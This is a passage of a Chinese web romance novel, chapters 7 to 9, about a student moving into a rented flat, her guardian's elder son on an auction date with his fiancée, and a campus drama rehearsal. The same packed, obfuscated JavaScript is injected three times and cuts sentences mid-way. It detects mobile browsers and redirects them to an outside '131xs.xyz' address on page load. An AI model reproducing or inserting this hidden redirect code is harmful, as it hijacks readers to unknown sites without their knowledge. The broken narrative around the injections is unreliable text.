只记得困意来袭的最后一秒,她还在计算,照海城的房价,卡里的余额究竟能支持她撑多久。 7. 举牌 搬离半山,不单是换个地方起居生活这么简单。 没了保姆和司机,她首先要考虑吃喝这种最基本开销,其次是房租、水电、外出通勤等一系列额外开销。 海城寸土寸金,海大位于东二环相对僻静的地段,但周边的房价不容小觑,生活成本也相对较高。 这些年,云枳从祁家得到的资助还算优渥,自己另外还有奖学金和实验室补贴,加上她没什么物欲,需要花钱的地方不多,日积月累的,卡里也存下一笔不小的数额。 这种情况下还要精打细算,是因为还有去耶鲁的这笔巨大支出在等着她。 云枳趁着章逢在海城停留的这几天抽空去了他一趟办公室。 “你真想清楚了?”对于她选择放弃海大直博的这个答复,章逢再三劝说,想留人的意图很明显。 云枳点点头。 知道自己的学生是什么性格,这个决定显然是深思熟虑过,章逢轻叹一声,“既然如此,别的我就不多说了,欢迎你随时改变想法。” 云枳没把话说得太死,“感谢章导这几年对我的栽培,无论我最后的选择是什么,未来希望还有机会和您在学术上有所交流。” 章逢惋惜又欣慰,温和地笑笑,“好了,你大三上学期才过半,现在说这话还太早。” 他从抽屉里翻出一封信笺推到她面前,“上次你和我说想找个机会出去实习,我这里拟了封介绍信,接收方是科森的研发部。” “科森研发部就在海城,方便你实验实习两头跑,这两年他们势头也很足,你过去跟着前辈,应该也能学点东西。” 云枳短暂错愕了下,之前她试探地在章逢面前提过自己有实习的意向,当场被他驳斥了,第二天就给她加了个新课题。 她完全没想到章逢竟然真把自己这句话记在心上,接过信笺时,只觉得手里的份量沉甸甸的。 这份介绍信来得很是时候,云枳连着自己的简历一起,给科森的hr递去邮件。 没多久,对方回复了她对薪资和基本工作要求的疑问,邀请她于两周后于科森大楼直接进行终面。 不愧是行业龙头企业,实习工资也比平均水平高出一大截。 云枳奔波在半山和实验室的两点一线,忙着找房子准备面试,无暇关注到,半山最深处的起居室,早已不见那位她最不想见的人。 - 时间转眼过去了半个月,海城又落了一场雨,势头不大,但淅淅沥沥的冷雨一连下了好几天。 天气如此,加上正式迈入昼短夜长的冬季,下午没到四五点,天就暗了半边。 东一环CBD,高悬祁山标志的插天楼宇在烟雨薄霭中似庞然大物。 距离祁山太子爷入驻海城总部已经过去一个礼拜,而今天,是他正式开展工作视察的日子。 方格间灯火通明,祁山全体员工战战兢兢,一遍遍检查自己仪容仪表,就等祁屹大驾光临。 顶层直达B3的电梯平稳运作,没多久,劳斯莱斯从祁山总部大楼的地库缓缓驶向中心大道。 车后排,祁屹鼻梁上架着副金边眼镜,双腿交叠,膝上一沓白纸黑字的文件,目光逡巡,听着挂式蓝牙耳机里助理Simon的汇报作批示。 他只有工作的时候会戴框镜,日常有需求都是使用隐形镜片居多。 临时改变行程,他没带Simon随行,这位新助理上岗不久,还在适应他的办公风格。 先前他最得力的副手被留在欧洲分部接管工作,回海城后,祁秉谦给他调过一个资历老的,但上岗三个小时就被他请到了别处。 “工作视察已经推迟到了明天下午,至于章小姐那边,我已经按照您的吩咐把地址发给了她的助理,对面回复章小姐会准时到达。” 做太子爷的助理要鞍前马后,除了工作,生活也要参与,只是Simon刚上任,实在有些难拿捏生活这一项里他该参与到什么程度。 就比如现在,太子爷被他的母亲勒令暂停工作,陪他的联姻对象约会。 没猜错的话,这应该是两人第一次约会,可显然太子爷不按常理出牌,竟然把地址选在了拍卖场。 这场拍卖的主办方和祁山有业务交流,不久前给归国的祁屹发来过邀请,没想到他会选择这个时候应邀,Simon一时间竟然有些分不出他究竟是约会还是在变相办公。 章清樾到的时候,拍卖会还未开始。 她往会场最中间的位置望过去,果然远远看见了叠着长腿看拍品册子的男人。 周遭人头攒动,宾客谈笑风生,唯独他稳如泰山,倦懒地垂着眸,漫不经心的,又十分沉浸在自己的世界。 “Eric,好久不见,我是清樾。” 祁章两家走得很近,两人算小时候就认识,又是剑桥校友,还在念书时偶尔能在校园或异国他乡的街头碰上一面,所以能第一时间认出他并不奇怪。 祁屹从短暂的思考里抽身,抬眸看她一眼,很淡地点了点头,“坐。” 章清樾怔了怔,心里生出点微妙的异样感,但一时之间没反应过来是哪里不对劲。 她在他邻座的位置坐下,彼此间隔标准社交距离,无意瞥到拍品册停留的一页,主动找话题:“你在看彩宝?” “红宝石手链,这是要拍给之峤妹妹庆祝她得奖吧。” 祁屹靠着椅背,把曲起的腿放下来,不动声色地又翻一页。 他只是闲着无聊,一时在心里自我消遣,想看看这条镶了满钻的鸽血红手链和前不久他弄断了那条红绳比起来,到底谁更红一些。 他没说是,也没说不是,“随便看看。” “……” 祁屹侧眸,嗓音沉稳,“怎么了?” 章清樾勉强配合着笑,“……没事,我也是随口问问。” 祁屹合上册子,双手交握,手肘撑在椅子把手上,问:“老爷子最近身体还好吗?” “没什么大毛病,就是奶奶去世之后,精神头不太够,记性也有点不太行。” 聊到家人,章清樾心里那点微妙才逐渐消失,“我这几年回来得少,每次都要重新告诉他好几遍我是谁,他才能想起来一点。” 祁屹:“人老了都这样。” 章清樾有点被他这种犀利的安慰逗笑,礼貌地回了一句:“祁爷爷呢?” “也就那样。” 祁屹皱皱眉,“岁数大了,脾气还是和以前一样臭。” “……” 两人的交情不算深,一来一回你问我答,话分分钟掉在地上,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900885|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来话题逐渐就开始往公事上靠拢。 章清樾后知后觉,终于反应过来方才那阵微妙感是怎么回事了。 祁屹从头到尾不太像把她当约会对象,而是更像对待职场上的合作伙伴。 好在拍卖很快开始,彼此的注意力全都放在了展品上。 章清樾没什么看中的,倒是祁屹,拍了两件高古瓷,他每每出手,场上所有人都十分识趣地不再跟价。 毕竟这位太子爷的脾性难以摸透,他想要什么不重要,为什么想要也不重要,旁人只需知道,凡是能入他眼的,他一定会弄到手。 两件拍品到手,后半场,身旁的人表现得意兴阑珊,好几次低下头看手机,像在和人发消息。 事实情况正是章清樾猜测的这样。 先是被停了卡的祁屿。 祁屿:「哥,你在吗?」 祁屿:「看到回我消息」 祁屹:「没钱借你」 祁屿:「……?」 再是失联半个月的祁之峤。 祁之峤:「我冷静好了」 祁屹:「?」 祁之峤:「我决定原谅你」 祁屹:「……」 祁之峤:「小枳说,我说错话,你可能会伤心,但不会真的怪我」 祁屹:「所以?」 祁之峤:「我觉得她说得很有道理,那既然你不怪我,我大人有大量,也不和你生气了!」 她倒是能说会道。 祁屹盯着屏幕半晌,面无表情冷笑一声。 等他放下手机,章清樾隐约觉得,身边的人心情似乎变好了点。 终于,当那条缅甸无烧红宝石手链被展出的时候,沉寂半场的人懒懒直起身,屈尊降贵地举起了手边的号牌。 …… - 与此同时,海城东二环某处道路边。 云枳从计程车上下来,艰难地撑开伞。 她拖着拉杆箱,上面还摆了个不大不小的文件盒,这两件东西,就是她从半山带出来的全部行李。 辗转好几家中介公司,最后选定还是Sasha租的一套公寓。 “这一片豪宅很多,不少名人还有政商界大佬都选这里,治安方面一定没问题,Freya,你一个女孩子,独居要多注意安全。” “我平时不经常过来,房租你交一半,就当和我合租。” 综合她手里已了解的其他几处房源来看,这里确实是最优选。 云枳没多犹豫,直接和她签了一年的合同。 今天是她入住新家的日子,几个小时前,她还收到科森hr给她的邮件,通知她终面通过,随时可以去报道。 所以哪怕她现在站在路边,一时晕头转向找不到自己的公寓,被雨淋得略显狼狈,都丝毫没有影响到她的好心情。 手上不方便,她干脆收起了伞,专心看导航的位置。 等确定方向拖着行李往前走,一辆黑色银顶的劳斯莱斯缓缓停靠在她要通过的路口亮起双闪。 云枳觉得这车看着眼熟,但没多想,刚准备绕过去,后座车窗半降,一道令她完全预料不到的侧影径直出现在她视线中。 男人端坐在车里,一瞬不瞬地盯着她,“你怎么会在这里?” 8. 同居 ……这话她倒是也想问。 从半山搬出来其中一个目的就是想离这尊瘟神远一点,谁料这么好的日子竟会碰到他,简直衰事当头。 云枳如实答:“我在这附近租了公寓。” 祁屹看一眼她身边的行李,眼神里有意外,又像在思考她这话的可信度。 “祁先生放心,我不知道您的行程,更没跟踪您的本事。” “……” 绵里藏针,伶牙俐齿。 见她这副模样,祁屹嗤一声,量她也没那个胆干跟踪他的事。 只是放着好好的半山不住,跑出来租房子—— 他微眯起眼,“公寓,是你一个人住么?” 是不是一个人住和他有什么关系,话都说到这个份上了,这人怎么还是不依不饶。 云枳把心绪通通压下,耐着性子准备回答,刚抬眸,就径直撞上他幽深黑沉的目光。 她愣了愣,心念微动,一股寒意顺着呼吸从心头蔓上胸口,脸色也逐渐冷下来,“祁先生这话是什么意思?” 这人习惯戴着有色眼镜看她,现在是在怀疑她和什么来路不明的人一起住? 天边压着一层乌云,隔着浓郁的水汽,两人四目相对,各自怀揣着心思,气氛一时剑拔弩张。 倏然,半降的车窗又探出一张脸。 “你是云枳吗?” 被念到名字,云枳从还未完全凝聚的情绪里抽身。 顺着声音望过去,车子后座另一侧,灰棕披肩发的女人和祁屹并排坐着,此刻身体微微倾斜,自然而然地靠向中央扶手。 她一身干练的素色风衣,乍一看是很ABC的气质。 “之前在爸爸科考队的合照上看到过你,我还在想这么漂亮的女孩子竟然这么能吃苦,今日一见,你比照片上看起来还要出众。” 云枳怔了怔,看着她有些似曾相识的五官神态,反应过来她应该就是章逢的女儿,祁屹的未婚妻。 出于礼貌,她淡淡道,“你好,我也听章导谈及过你。” “一开始不知道是你,不小心听见你和Eric对话,我还以为又有哪个被他迷惑的女人跑来跟踪他。” 章清樾扬唇一笑,“原来是哥哥约束妹妹,是我误会。” 祁屹在剑桥的时候很受欢迎,除了出众的皮囊,很多女孩都被他身上那股来自东方冷感又神秘的劲吸引,可明明长了张招蜂引蝶的脸,在date文化流行的风气里,他的私生活却很干净,以致于有人孜孜不倦蹲点他一学期,从剑桥郡摸到他在泰晤士河边的顶楼公寓,就为一瞻他私底下是不是真像传闻里说得那么禁欲。 招呼也打完了,云枳没兴趣留在这里听他的风流史。 这会雨虽然很小,但飘在身上湿漉漉的并不好受,他们在车里不痛不痒地动动嘴皮子,可她却要干站着淋雨。 她对着章清樾招呼一声:“我还有事,就先走了。” “等一下。” 还没来得及推动拉杆箱,车内的男人就叫住了她。 祁屹搭膝坐着,身形笔挺又松弛,脸上已经恢复了原先的冷淡模样。 只听他沉声吩咐了句:“给她拿把伞。” 司机干脆地从驾驶位下来,很快一把长柄黑伞递到她面前,“云小姐,您拿好。” 云枳并不缺伞,自己那把折叠伞被她收了起来,她是行李太多没空余的手腾出来撑伞。 “我不用……” “身体不好就安分点,还是你觉得淋雨是种很酷的行为艺术。” 车内传出的声音打断她,声线平而稳,让人难以捕捉一丝多余的情绪。 不等反驳,半降的车窗缓缓上升,后座的人留给她一个高贵冷峻的侧影。 本来行李就超负荷,现在又多了个没用的负担。 云枳盯着手里这把看着就做工昂贵的长柄伞,烦躁地拧起眉头。 车子缓缓起步,逐渐没入车流中。 内饰灯暗下,后视镜里的那团人影越来越小,越来越模糊,直到消失不见。 昏芒的视线中,祁屹手肘随意地搭在窗沿,贲着青筋的手背虚虚托着下颌,从容地收回视线。 “你们是吵架了?”章清樾方才听见了二人的对话,敏锐地捕捉到了他们之间不似寻常兄妹的对峙。 祁屹声线散漫,“和一个小孩子吵什么吵。” “那你们的相处方式还真是蛮特别的。”章清樾笑笑,没多想,自然而然挑起新话题,“我听说云枳妹妹是小屿的女友,看样子,他们这是从半山搬出来同居了……” 压在心底的隐秘猜测被人直接指明,祁屹微蹙眉心,镜片后的双眸沉敛下来,“你怎么会这么想?” “如果是男女朋友,同居难道不正常么?” 章清樾有些不解,看他一眼,轻笑着提醒,“虽然在你眼里可能还幼稚,但实际他们早就是具备独立思考能力的成熟大人了。” “成熟?不见得。” 祁屹唇角的弧度隐约含点嘲弄,“倒有点天真到愚蠢。” 章清樾滞了滞,他的目光实在令人捉摸不透,一时之间猜不出他究竟在说两人中的谁。 但能看得出身边的人对这个话题的谈兴很淡,前前后后的反应也很耐人寻味。 她这几年也算识人无数,见他这样,便没再深入话题。 车厢重新静下来,城市的霓虹街景在车窗外飞驰。 祁屹垂眸看手机,屏幕的灯光照在他脸上,一侧的车窗玻璃映出他深邃冷淡的眼。 不多时,劳斯莱斯的车轮毂在章公馆的大门前停转,章清樾背好挎包下了车。 “……Eric,Eric?” 祁屹回过神,侧眸看向她,目光里透出点习惯性的征询。 “你在处理工作吗?” “一点私事。抱歉,你刚才说什么?” 章清樾又重复一遍,“关于科森这个项目,我四叔拜托我约见你谈谈。” 祁屹:“行程的事可以直接联系我助理,他会安排接洽章先生。” 章清樾微微颔首示意,随即柔和地笑笑,“还有,多谢你今晚送我。” “顺路的事。” 祁屹轻描淡写,在略显疏离但彬彬有礼的口吻中结束了这场会面,“我还有事,就不多送。晚安,章小姐。” - 重新起步的幻影在辉煌的灯火中穿梭,最终开向了中洲公寓的停车场。 这座摩天大楼位于东城区,是二环这片住宅区最为奢靡的存在,顶层的复式公寓更是盘踞三层楼高,360度环绕的全景幕墙窗,内部空间近三千平方英尺,另设有屋顶露台,宛若城市里的私人绿洲。 一进入玄关,祁屹没开灯,摘了腕表就往室内走,一路扯松领带,脱掉西服外套,随意丢在了客厅的黑皮革沙发上。 随着身上的束缚减少,他靠上沙发背椅,阖眸沉沉舒出一口气,眼下有很深的倦色。 这个高度下,落地窗外万籁俱寂,照进来的零星点点是唯一光源。 自动运行的风暖微微泄出白噪音,一时之间,室内透着静谧。 倏然,沙发不远处的手机亮了下,祁屹掀起眼皮扫一眼来电显示,大掌一挥,拿过手机接起来。 “我没在外面租公寓啊,老头子把我卡都停了,我哪有钱交房租?” 祁屹不动声色,“没和人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900886|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同居?” “同居?同什么居,我和谁同居?” 祁屿皱眉,思索半天他哥这话的弦外之音,最后略微生硬道:“我和小枳感情好着呢,我是那种朝三暮四的人么?” 感情这么好,可听语气,他似乎没把云枳归到同居对象里,甚至连她搬家的事都还不知道。 祁屹点开免提,把手机放在大理石茶几上,持过一旁剩的半支威士忌给自己倒了杯。 “哥,你找我就为了这事么?” 提着岩石杯啜一口,祁屹不紧不慢岔开了话题,“你的生日礼物应该过几天就会到达半山。” 祁屿瞬间提了点精神。 自绑架案发生、他的同胞妹妹遇难后,他生日这天就变成一个既敏感又矛盾的日子。 来自家人每一句祝福、每一个微笑的背后,似乎都蕴藏一颗悲痛的种子。 等他慢慢从应激候群症里走出来,已经习惯自己不再期待这一天的到来,直到十八岁成年礼那天—— 他从遥远的英国收到一架Alluna顶级天文望远镜和一份经营权转让协议。 弹指间,海城数一数二商业地段上Top1的私人俱乐部就成了他的囊中之物,“拥有一家私人俱乐部”这种听起来就很不务正业的愿望,最终是总爱辞色俱厉、对他多加约束的大哥帮他实现。 俱乐部的名字被更改为「Meridian」,附在文件袋之上的,是祁屹在格林威治皇家天文台、代表世界时间开始的本初子午线附近亲手写下的祝福: 「挺身茫茫宇宙,深囿漫长黑夜,天高地迥,行走自在。 循此苦旅,以达星辰。 成年快乐。」 祁屿知道,「自在」,便是大哥对他最真挚的期盼。 缓缓从回忆里抽身,他咳嗽两声清清嗓,“那我先提前谢过大哥喽,不过——” “再转个一百万过来看看实力?” 听筒好一会没再传出声音,祁屿“喂喂”半天,从耳边拿下手机,看到屏幕已经退出通话界面,这才郁闷地意识到对面早就掐了电话。 洗完澡从浴室出来,祁屹只在腰间裹了条浴巾。 未擦干的水珠随着动作沿他的结实肌肉线条缓缓下落,划过壁垒分明的小腹,最终在松垮的浴巾里隐没。 他走至落地窗前,点开Simon的未接来电回拨过去。 “按照祁先生您的吩咐,隋白长颈瓶和蓝釉三足盘这两件拍品已经归置好,至于剩下那条需要寄送红宝石手链……” 这条手链明显是送给女性的东西,但上司的讯息里只说明这件拍品不用归置,并没有交代怎么处理。 Simon揣度这件礼物的主人应该是章小姐和祁二小姐其中之一,但到底没有明示,送给谁,送到哪,他不能妄下定论。 祁屹俯瞰着脚下的夜景,点起一根烟吞云吐雾,低垂的眼眸神色难辨。 良久,他报了个地址:“海城大学,生物科学学院。” 出乎意料的答案,Simon迟疑问道:“收件人是?” 祁屹喉头紧了紧,好像说出这个名字对他而言是件什么艰难的事。 “……算了。” Simon听见他从来雷厉风行、决断如流的上司冷冷淡淡的一声命令:“东西送到中洲公寓,我自己处理。” “好的祁先生。” 虽然疑惑,但Simon还是恭敬地应了一声,非常有眼力地没追问上司突然改变主意的理由究竟是什么。 毕竟无论这个神秘的主人是谁,能收到祁先生亲手送出的礼物,对方应该都会感到关怀备至、受宠若惊的吧。 Simon如此想。 9. 角色 虽然科森hr通知她随时可以报到,但云枳思考过后还是回了封邮件,表示自己正式入职的时间可能要往后推迟。 她前半学期一直辗转图书馆实验室,课外活动的时长还没补满,这项学分虽然相对没那么重要,但和奖学金挂钩,去科森之前,她要把这个遗留问题解决。 众所周知,海大戏剧社有艺术学院的血统,除了基本社团活动,还要承包学校各种文艺演出,诸如迎新会、节日晚会、毕业典礼等等此类的大型活动,一旦加入,想混时长都很有难度。 对比那些玩转各种兴趣社团的同级们,云枳显得并不太上心,慢一步的结果就是在得知必须要选择一个加入时,就只剩下戏剧社这种无人愿意问津的社团还有名额。 十一月中。 初冬午后的暖阳微澜,在满地落叶上洒下一缕金灿灿的薄光。 云枳从生科院出来,手里拿了本红皮雅思词汇,见缝插针在步行至西校区艺术学院的路上背单词。 走了约莫一刻钟,远远前眺,就见欧式尖顶的赭红拱门外墙和中央的一座篆刻着“思考者”形象的象牙白雕塑。 她今天是被许琉音催着过来试妆的—— 原打算一鼓作气趁没到年底戏剧社最忙碌的时候先把活动时长凑满,谁知社里最近就正在准备一场临时的汇报演出。 作为戏剧社社长,许琉音这次为演出准备的新剧剧本改编自西班牙文学大师塞万提斯的小说《堂吉诃德》,剧本里“玛塞拉”这个角色原定扮演者是名英国交换生,上周生病休了长假,就在她挑剔新的候选人都和角色不贴脸、达不到她的要求时,云枳好巧不巧出现在了她眼前。 自己既不是专业戏剧演员,也没有过戏剧表演经验,更何况两人之间的关系从来算不上友好,一时云枳也不明白许琉音为什么非要选择她。 刷卡进入大门,到达礼堂二楼,穿过长而宽阔的走廊,尽头门前用油画装饰的房间就是戏剧社的活动室。 甫一推门,活动室沁着的暖气扑面。 身穿黑色礼裙的少女像是等候她多时,环抱着手臂往外走,裙摆和落在披肩上的浅金色罗马卷发随着步伐蹁跹,一双玛丽珍高跟被她踩出趾高气昂的节奏。 不愧是大小姐,就算在学校里打扮也要时刻光鲜、永远占据别人视线里的最高光。 “慢死了,你是蜗牛吗?” 云枳几乎是被按着在化妆镜前坐下,许琉音从镜子里端详了下她的脸,随即打开平板。 划出一张照片,她对旁边的化妆师吩咐道:“忘掉先前给Teresa的准备的妆,从现在开始,看着这张图,找找新的感觉。” 画面里,牧羊女站在山丘之上,发丝随着微风拂动,似在凝望远方的风景。 这幅出自DanielGerhartz名为《WhattheDayMayBring》的田园画作此刻就挂在许琉音的书房,在她不久前焦头烂额为找不到合适的演员苦恼时,她看见背对自己的云枳,修长的天鹅颈,薄而削直的肩背,整个人散发的气质宁静又坚定,让她第一时间联想到这幅画,联想到玛塞拉这个角色。 化妆师沉吟片刻:“黑色编发改成红褐色扎发,碎花头巾改成白色发带,牧羊杖代替手提花篮。” 许琉音牵唇笑起来,终于露出点满意的神色。 对比她们略显凝固的气氛,云枳始终气定神闲,她安静坐着,垂眸翻动手上的词汇书,看上去对面前的一切都并未感到负担。 “喂,我给你的剧本你好好看了没?”许琉音在她旁边坐下来,明亮的眼睛瞪她一眼,毫不客气地夺走了她的词汇书换成剧本,“我们对一遍,你哪里不懂抓紧提问。” 云枳十年前就读过《堂吉诃德》的外文原著,对那个年纪的她来说,无论是原文还是小说想表达的主题都还有些晦涩难懂。 许琉音的剧本《脱缰》基于原著改编,主角分别是虚构角色落魄少女(Diana)和年轻的酒馆老板(Ricardo),堂吉诃德和桑丘这两名原著角色在故事中穿针引线,讲述这一对意外邂逅的年轻人在时代背景下由于身份差距一波三折但最终圆满的爱情故事。 这种对原著的改编和重构是戏剧创作的常见形式,而玛塞拉在剧本里存在的作用更多是为主角带去警示和思考、推动主角的感情发展。 剧本云枳可以理解,但戏剧表演可不是单纯理解剧本这么简单。 “拒绝你的时候我就说过,我不会演戏,如果你坚持要我上台,我没法保证最后呈现出来是什么样子。” 许琉音拧起眉头,神色里带着很自然的埋怨和苦恼。 她当然知道临时选个门外汉来是件不稳妥的事,而且选择云枳出演玛塞拉,在她这里就等于变相地认可她的皮囊。 毕竟牧羊女玛塞拉在原著里的形象是这样: 「人们看见了她的花容月貌,说不清有多少富家子弟、青年乡绅,像格利索斯托莫一样,一身牧羊人打扮,来到她身边向她求婚」①,可玛塞拉从来只将自己的美貌视为身外之物,面对无数异性的爱慕和幻想,她一颗心坚如磐石,从来不给对方留有任何希望,其中最狂热的追求者格利索斯托莫在被她拒绝后选择自杀,死前还在控诉她的残忍无情,至此,她曾经的那些爱慕者开始对她口诛笔伐,说她「脾气和个性对村上人的害处比瘟疫还大」②,一时之间,曾经的“神女”被贬为“妖女”。 在她的私心里,敢于对世俗偏见进行反抗的玛塞拉是她很偏爱的角色,她不想把偏爱的角色给一个自己讨厌的人,奈何她的专业素养让她不得不承认,眼下云枳的形象就是最贴合玛塞拉的,尽管她没有任何演技加持。 这种感觉无疑令人有些不爽。 许琉音鼻腔溢出一声轻哼,语气十分冷酷,“舞台最终呈现是什么样子,那就是我这个导演的该做的事了,不用你来替我操心。” - 在五幕十二场的改编剧本里,玛塞拉并不占有特别多的戏份,出场次数也很少,但这个角色有一段将近三分钟的独白自述,在这三分钟里,准确无误地念出台词,并且给出足够让观众能感受到的情绪,就是云枳要做的事。 排练日程紧锣密鼓。 许琉音事必躬亲,无论是剧本在排练中细节修改,还是舞台上的服装、灯光、音响效果呈现的细节,她都要一遍遍调整,追求完美。 大概是这段时间两人见面的次数越来越多,许琉音面对云枳,从刚开始的如临大敌到愈发松弛。 她依旧是任性跋扈的大小姐,捧起莎翁作品的外文原著可以侃侃而谈,谈吐、学识都不是装出来的,但也不妨碍她在地毯上盘腿而坐,刷着idol的最新资讯帖,耳机里放一首杨千嬅的《少女的祈祷》。 气温在泛白的冬日里逐渐降低,活动室里的气氛却像煤炉上一壶将沸未沸的水。 又是一个云层完全遮挡阳光的阴天,《脱缰》第一次统排,戏剧社迎来了几位不速之客。 祁屿十几天没在半山看见云枳的影子,之前她就算忙起来天天留实验室熬大夜也很少超过一个礼拜不回家。 他自己也没想到,旷课多日来学校竟然是为了捉人,还是在艺术学院捉的人。 当看见云枳一头红棕发出现舞台上,祁屿肉眼可见愣在原地。 玛塞拉在这场完整的排演里戏份已经走完了,待最后一幕出场结束,云枳从后台走出来,祁屿迎面走向她。 “你来真的?” 他摘掉墨镜,露出他那张冷感的脸,睇一眼她的头发,表情很古怪,“真要为艺术献身啊。” 不怪他惊讶,实在是因为这种颜色会出现在云枳头上的概率无异于他突然转性好好用功念商学书。 云枳淡声回答他,“短效染发剂,顶多留一个月就褪色了。” 又侧眸看向他身后的男人,唤一声,“秦霄哥哥。” 秦霄微微颔首回应,目光微动,似乎也对她这个造型感到意外。 “秦霄哥哥是你喊的么……” 许琉音嘴里嘟囔着,手里握着卷剧本迈步过来,转头看向祁屿,语气十分不客气,“怎么了,这个发色很难看吗?明明很衬她肤色的好不好。” “当然不是难看。” 太过完美的头骨和脸蛋让她很难有任何不适合的发色,她身上那种游离在纯真和离经叛道的飘忽感被放大,红发的她依旧是美的,但是和之前美得不一样。 祁屿从惊讶里缓过来,勾唇揽住云枳的肩,用她的头发在自己手指上绕圈,毫不迂回含蓄,“我家小枳怎么可能难看,简直胡说八道。” “……” 此话一落,秦霄不动声色观察许琉音的反应。 只见她无视两人的亲密,扭过头看向舞台,齿尖磨着唇瓣,语气幽凉,“还在我的地盘,拜托小屿哥哥你不要讲这种恶心话。” 气氛一时凝滞下来,几人各怀心思,不约而同将注意力重新放在表演上。 很快,随着音乐和男女主一段动情对白结束,整部戏正式落下帷幕。 虽然是彩排,台上的几位主演还是把许琉音还有提前下台的云枳重新拉上去一起谢了幕。 台下响起掌声、喝彩声,虽然秦霄和祁屿两人没看完全程,一个笑着鼓掌,一个吹着口哨捧场地高呼“bravo”。 排演后许琉音照例对每个人的舞台呈现做了点评或改进方向,轮到云枳,她翻一页剧本,白纸黑字旁还有她密密麻麻的批注。 她细化到每句台词对应的调整,最后略不自在地偏过脸,“你最大的问题还是肢体动作比较生硬,但站位过场都比较流畅、精准。” “期待正式演出你能有更好的表现。” 云枳大方地笑:“但愿如此。” 虽然参与演出不是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900887|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本意,但她做事从来都是善始善终。 这些天,她也算领略到戏剧这个冷酷同时又五光十色的世界,舞台上的一切一旦开始,直到落幕之前,没人喊停,做出的每个动作说出的每句话,都没有倒带重来的机会,舞台上的时间,就是演绎角色、成为角色的时间。 对她来说,这段不会再有第二次的人生体验,尽情沉浸就好。 祁屿听见,没忍住挑眉,“看不出来,你还挺专业。” 许琉音恶狠狠地咧咧嘴,故意扮凶时露出一颗尖尖的虎牙,“别小看我。” 见秦霄打完电话回来,她扭扭妮妮地挪过去,略显羞赧又带隐约期待地开口问:“秦霄哥哥,你刚才看完剧本了么?” 秦霄大掌在她发顶抚了抚,“故事很有意思。” 很快,他在“哥哥”这个身份里很有分寸地收回手,“导演工作做得也很好,这段时间辛苦了。” 云枳看见许琉音在听见这话后眼里一闪而过的雀跃。 下一秒,又皱起小脸,指着她,像埋怨又像撒娇:“秦霄哥哥你都不知道,这个耽误我最长时间的人她有多无趣,除了排练剩下的时间不是在背单词就是在看文献,聊起什么别的话题她都一问三不知。” 云枳:“……” 秦霄只淡笑了下,“走吧,收拾一下,我订了私房菜。” 他转头对祁屿道:“地址我发你了,你带上云枳,你哥一会也会到。” 祁屿忙着打游戏,随意摆摆手,“知道了霄哥,你们先去,我们马上到。” 云枳听闻,眉头不自觉拧起来。 等秦霄带着许琉音一走,她踢了踢沙发上的人,“你能不能自己去。” 最近一段时间没见到某个衰人,她感觉自己都更加神清气爽些,不想主动去触霉头。 “霄哥特意让我带上你,不好拂他面子吧。” 祁屿抬起头,想到什么,直接丢开手机,掐了把云枳的脸蛋,“还没来得及问你,一声招呼都不打,直接搬出去住了?” “外面住能有在半山舒服么?你看看,这脸上本来就没二两肉,最近是不是又瘦了。” 云枳拍掉他的手躲开,“剧社和实验室都很忙,过段时间我还要出去实习,搬出来省点通勤时间。” 祁屿静了片刻,思绪在脑子里转一圈,最后乜她,问:“coco你也不要了?” 云枳偏过脸,无谓地笑笑,“我的房间只有三十平,带上它一起住,未免有些残忍。” “……” 小少爷眼里流露不食烟火的震惊,“什么房子三十平?半山厕所都比这里大,你疯了?” 云枳没耐心理他,“……闭嘴吧。” 祁屿见事情尘埃落定,只能问:“位置在哪,发我。” “Sasha的公寓,我和她合租,交一半房租。” 这对话既视感很强,祁屿脑子里飞快划过什么信息,但他没抓住。 他的表情始终很冷酷,“经常回来看看coco,狠心的女人。” - 秦霄订的这家私房菜藏在闹市中,阔石板后假山密林掩映,水声潺潺,环境营造出一种归隐感。 它不对外营业,只做私宴,菜品都是定制,地道的江南菜,口味上佳。 服务员倒了茶水就走出去,云枳坐在包厢门正对的位置,一旁,祁屿边追问她饰演的角色在剧本里是什么剧情边往她嘴里递果切。 停顿一下,云枳习惯性含住果切,倏然,推门的动静响起来。 她应声抬眸,山林水影间,幽暗的灯光描摹出一具高大的身形。 祁屹一身黑色肯辛顿风衣叠穿西装,一只手还扶在门上,不经意掀起一眼。 四目相对,男人眼眸微眯,在她脸颊往上的位置经停足足三秒钟,随即神色无澜地落了座。 云枳:“……” 什么都没说,又好像什么都说了,还说得很难听。 “继续啊。”见她沉默下来,祁屿意犹未尽,催促道。 云枳硬着头皮讲完。 好半天,祁屿才后知后觉包厢里多了个人,“哥,你来了。” 他迫不及待地问:“海大最近有个汇报演出,哥你收到邀请没?” 祁屹眼都没抬,“没注意,怎么?” 